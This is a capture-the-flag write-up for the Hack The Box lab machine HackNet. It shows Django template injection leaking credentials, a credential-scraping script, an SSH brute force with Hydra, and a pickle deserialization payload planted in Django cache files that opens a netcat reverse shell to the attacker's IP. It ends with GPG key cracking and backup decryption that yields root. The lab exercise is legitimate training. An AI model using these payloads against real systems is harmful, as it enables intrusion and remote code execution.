Hackthebox: HackNet

Foued SAIDI Lv5

Overview

HackNet is a medium-difficulty Hack The Box machine that starts with a Django Template Injection information disclosure, allowing us to enumerate users and credentials. This initial foothold leads to SSH access, followed by a Django cache deserialization (pickle) RCE, lateral movement, and finally full root compromise via exposed GPG-encrypted backups.

HackNet-info-card
HackNet-info-card

Reconnaissance

Target IP:

1
10.10.11.85

Main application: http://hacknet.htb/explore

Interacting with the Like / Likes functionality reveals user-controlled content rendered by the backend.


Web Application Analysis

The application is built using Django and the Django Template Language (DTL).

Key DTL characteristics:

  • Only variables passed into the template context can be rendered
  • No arithmetic or system command execution
  • Impact limited to information disclosure

By modifying our username to:
{{users}}

We receive a QuerySet containing user objects.

Refining it further:
{{users.values}}

This leaks emails and passwords directly from the database.


Credential Extraction

To automate extraction, the following script was used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import re
import requests
import html

url = "http://hacknet.htb"
headers = {
'Cookie': "csrftoken=...; sessionid=..."
}

all_users = set()

for i in range(1, 31):
requests.get(f"{url}/like/{i}", headers=headers)
text = requests.get(f"{url}/likes/{i}", headers=headers).text

img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)
if not img_titles:
continue

last_title = html.unescape(img_titles[-1])

emails = re.findall(r"'email': '([^']*)'", last_title)
passwords = re.findall(r"'password': '([^']*)'", last_title)

for email, p in zip(emails, passwords):
username = email.split('@')[0]
all_users.add(f"{username}:{p}")

for item in all_users:
print(item)

we get there creds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
codebreaker:C0d3Br3@k!
brute_force:BrUt3F0rc3#
glitch:Gl1tchH@ckz
darkseeker:D@rkSeek3r#
blackhat_wolf:Bl@ckW0lfH@ck
netninja:N3tN1nj@2024
cyberghost:Gh0stH@cker2024
mikey:mYd4rks1dEisH3re
shadowmancer:Sh@d0wM@ncer
datadive:D@taD1v3r
koja:kojja
cryptoraven:CrYptoR@ven42
bytebandit:Byt3B@nd!t123
virus_viper:V!rusV!p3r2024
deepdive:D33pD!v3r
rootbreaker:R00tBr3@ker#
shadowcaster:Sh@d0wC@st!
hexhunter:H3xHunt3r!
packetpirate:P@ck3tP!rat3
whitehat:Wh!t3H@t2024
phreaker:Phre@k3rH@ck
trojanhorse:Tr0j@nH0rse!
zero_day:Zer0D@yH@ck
shadowwalker:Sh@dowW@lk2024
exploit_wizard:Expl01tW!zard
stealth_hawk:St3@lthH@wk

Initial Access – SSH

Using the extracted credentials, we brute-force SSH:

1
2
3
4
5
6
7
8
9
10
kujen@DESKTOP-MFRH5U5:~$ hydra -C users_pass.txt hacknet.htb ssh -I
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:33:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries, ~2 tries per task
[DATA] attacking ssh://hacknet.htb:22/
[22][ssh] host: hacknet.htb login: mikey password: mYd4rks1dEisH3re
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:33:51

Valid credentials found:

mikey:mYd4rks1dEisH3re

SSH access and user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kujen@DESKTOP-MFRH5U5:~$ ssh [email protected]
The authenticity of host 'hacknet.htb (10.10.11.85)' can't be established.
ED25519 key fingerprint is SHA256:TVT7HGjgzl5Wk42d9xFlPlDUwhNCWjWA5Cdz6MdUC9o.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hacknet.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Sep 19 07:08:20 2025 from 10.10.16.21
mikey@hacknet:~$ id
uid=1000(mikey) gid=1000(mikey) groups=1000(mikey)
mikey@hacknet:~$ cat user.txt
922d2b8d0d306fd0329efb0850eed703

Django Cache Deserialization (RCE)

Source review reveals cached views cat /var/www/HackNet/SocialNetwork/views.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#line 489
@cache_page(60)
def explore(request):
if not "email" in request.session.keys():
return redirect("index")

session_user = get_object_or_404(SocialUser, email=request.session['email'])

page_size = 10
keyword = ""

if "keyword" in request.GET.keys():
keyword = request.GET['keyword']
posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
else:
posts = SocialArticle.objects.all().order_by("-date")

pages = ceil(len(posts) / page_size)

if "page" in request.GET.keys() and int(request.GET['page']) > 0:
post_start = int(request.GET['page'])*page_size-page_size
post_end = post_start + page_size
posts_slice = posts[post_start:post_end]
else:
posts_slice = posts[:page_size]

news = get_news()
request.session['requests'] = session_user.contact_requests
request.session['messages'] = session_user.unread_messages

for post_item in posts:
if session_user in post_item.likes.all():
post_item.is_like = True

posts_filtered = []
for post in posts_slice:
if not post.author.is_hidden or post.author == session_user:
posts_filtered.append(post)
for like in post.likes.all():
if like.is_hidden and like != session_user:
post.likes_number -= 1

context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}

return render(request, "SocialNetwork/explore.html", context)
1
2
@cache_page(60)
def explore(request):

Important notes:

  • Django caches view results for 60 seconds
  • Default backend: FileBasedCache
  • Cached objects are stored using pickle
  • Pickle deserialization is unsafe when attacker-controlled

Exploitation

https://xz.aliyun.com/news/7928

  1. Access /explore to generate cache files

  2. Overwrite cached objects with a malicious pickle

  3. Revisit /explore to trigger execution

Pickle payload:

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class Exploit:
def __reduce__(self):
import os
return (os.system, ("busybox nc 10.10.16.21 4444 -e sh",),)

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
1
for i in $(ls); do rm -f $i;  echo 'gASVPAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCFidXN5Ym94IG5jIDEwLjEwLjE2LjIxIDQ0NDQgLWUgc2iUhZRSlC4=' |base64 -d> $i; chmod 777 $i; done

Overwrite cache files and set permissions, then start a listener:

1
2
3
4
5
PS C:\Users\HP\Downloads> .\nc64.exe -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.11.85] 58846
id
uid=1001(sandy) gid=33(www-data) groups=33(www-data)

Shell received as:

uid=1001(sandy) gid=33(www-data)

Lateral Movement – Sandy

A GPG private key is found:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sandy@hacknet:~$ ls -al
ls -al
total 36
drwx------ 6 sandy sandy 4096 Sep 11 11:18 .
drwxr-xr-x 4 root root 4096 Jul 3 2024 ..
lrwxrwxrwx 1 root root 9 Sep 4 19:01 .bash_history -> /dev/null
-rw-r--r-- 1 sandy sandy 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 sandy sandy 3526 Apr 23 2023 .bashrc
drwxr-xr-x 3 sandy sandy 4096 Jul 3 2024 .cache
drwx------ 3 sandy sandy 4096 Dec 21 2024 .config
drwx------ 4 sandy sandy 4096 Sep 5 11:33 .gnupg
drwxr-xr-x 5 sandy sandy 4096 Jul 3 2024 .local
lrwxrwxrwx 1 root root 9 Aug 8 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 sandy sandy 808 Jul 11 2024 .profile
lrwxrwxrwx 1 root root 9 Jul 3 2024 .python_history -> /dev/null
sandy@hacknet:~$ cd .gnupg
cd .gnupg
ls
sandy@hacknet:~/.gnupg$ ls
openpgp-revocs.d pubring.kbx random_seed
private-keys-v1.d pubring.kbx~ trustdb.gpg
sandy@hacknet:~/.gnupg$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
sandy@hacknet:~/.gnupg/private-keys-v1.d$ cat armored_key.asc
cat armored_key.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----

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
=wR12
-----END PGP PRIVATE KEY BLOCK-----
sandy@hacknet:~/.gnupg/private-keys-

Cracking the key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gpg2john armored_key.asc > hash.txt

β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetheart (Sandy)
1g 0:00:00:06 DONE (2025-09-19 08:09) 0.1470g/s 62.35p/s 62.35c/s 62.35C/s 246810..ladybug
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
1
2
3
4
sandy@hacknet:/var/www/HackNet/backups$ ls
ls
backup01.sql.gpg backup02.sql.gpg backup03.sql.gpg
sandy@hacknet:/var/www/HackNet/backups$
1
2
3
4
5
6
7
8
9
sandy@hacknet:/var/www/HackNet/backups$ gpg --import ~/.gnupg/private-keys-v1.d/armored_key.asc
<--import ~/.gnupg/private-keys-v1.d/armored_key.asc
gpg: key D72E5C1FA19C12F7: "Sandy (My key for backups) <[email protected]>" not changed
gpg: key D72E5C1FA19C12F7: secret key imported
gpg: Total number processed: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys unchanged: 1

1
2
3
4
5
6
7
8
9
10
11
12
13
sandy@hacknet:/var/www/HackNet/backups$ gpg --batch --yes --passphrase "sweetheart" --pinentry-mode loopback -o "/tmp/backup.decrypted" -d "backup01.sql.gpg"
<ck -o "/tmp/backup.decrypted" -d "backup01.sql.gpg"
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <[email protected]>"

sandy@hacknet:/var/www/HackNet/backups$ gpg --batch --yes --passphrase "sweetheart" --pinentry-mode loopback -o "/tmp/backup02" -d "backup02.sql.gpg"
<e loopback -o "/tmp/backup02" -d "backup02.sql.gpg"
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <[email protected]>"
sandy@hacknet:/var/www/HackNet/backups$ gpg --batch --yes --passphrase "sweetheart" --pinentry-mode loopback -o "/tmp/backup03" -d "backup03.sql.gpg"
<e loopback -o "/tmp/backup03" -d "backup03.sql.gpg"
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <[email protected]>"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sandy@hacknet:/tmp$ strings backup* | grep -i password
strings backup* | grep -i password
ve been refining my techniques to make them more efficient, reducing the time it takes to crack even the most complex passwords. Writing up a guide on how to optimize your brute force attacks.','2024-08-30 14:19:57.000000',6,2,0,24);
(11,'Reducing the time to crack complex passwords is no small feat. Even though brute force is noisy, it
(47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
s the password: h4ck3rs4re3veRywh3re99. Let me know when you
`password` varchar(70) NOT NULL,
(24,'[email protected]','brute_force','BrUt3F0rc3#','24.jpg','Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.',0,0,1,0,0),
`password` varchar(128) NOT NULL,
ve been refining my techniques to make them more efficient, reducing the time it takes to crack even the most complex passwords. Writing up a guide on how to optimize your brute force attacks.','2024-08-30 14:19:57.000000',6,2,0,24);
(11,'Reducing the time to crack complex passwords is no small feat. Even though brute force is noisy, it
`password` varchar(70) NOT NULL,
(24,'[email protected]','brute_force','BrUt3F0rc3#','24.jpg','Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.',0,0,1,0,0),
`password` varchar(128) NOT NULL,
ve been refining my techniques to make them more efficient, reducing the time it takes to crack even the most complex passwords. Writing up a guide on how to optimize your brute force attacks.','2024-08-30 14:19:57.000000',6,2,0,24);
(11,'Reducing the time to crack complex passwords is no small feat. Even though brute force is noisy, it
`password` varchar(70) NOT NULL,
(24,'[email protected]','brute_force','BrUt3F0rc3#','24.jpg','Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.',0,0,1,0,0),
`password` varchar(128) NOT NULL,

Decrypting reveals the root password:

root:h4ck3rs4re3veRywh3re99

Switch user with su root

Root access achieved!

That was it for HackNet, hope you learned something new!

-0xkujen

  • Title: Hackthebox: HackNet
  • Author: Foued SAIDI
  • Created at : 2026-01-16 17:15:01
  • Updated at : 2026-01-16 20:14:20
  • Link: https://kujen5.github.io/2026/01/16/Hackthebox-HackNet/
  • License: This work is licensed under CC BY-NC-SA 4.0.